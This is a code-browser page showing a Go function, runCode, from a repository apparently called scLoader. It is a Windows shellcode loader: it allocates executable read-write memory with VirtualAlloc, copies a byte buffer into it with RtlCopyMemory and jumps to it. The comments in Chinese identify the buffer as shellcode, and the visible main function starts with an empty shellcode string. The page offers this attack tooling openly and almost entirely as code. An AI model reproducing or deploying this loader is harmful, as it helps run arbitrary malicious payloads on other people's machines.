MCPcopy Create free account
hub / github.com/Peithon/scLoader / runCode

Function runCode

loader/loader.go:90–105  ·  view source on GitHub ↗
(code []byte)

Source from the content-addressed store, hash-verified

88}
89
90func runCode(code []byte) {
91 // add
92 VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
93 RtlCopyMemory := syscall.NewLazyDLL("ntdll.dll").NewProc("RtlCopyMemory")
94
95 //调用VirtualAlloc为shellcode申请一块内存
96 addr, _, err := VirtualAlloc.Call(0, uintptr(len(code)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
97 if addr == 0 {
98 checkErr(err)
99 }
100 //调用RtlCopyMemory来将shellcode加载进内存当中
101 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&code[0])), uintptr(len(code)))
102 checkErr(err)
103 //syscall来运行shellcode
104 syscall.Syscall(addr, 0, 0, 0, 0)
105}
106func main() {
107
108 shellcode := ""

Callers 1

mainFunction · 0.85

Calls 1

checkErrFunction · 0.85

Tested by

no test coverage detected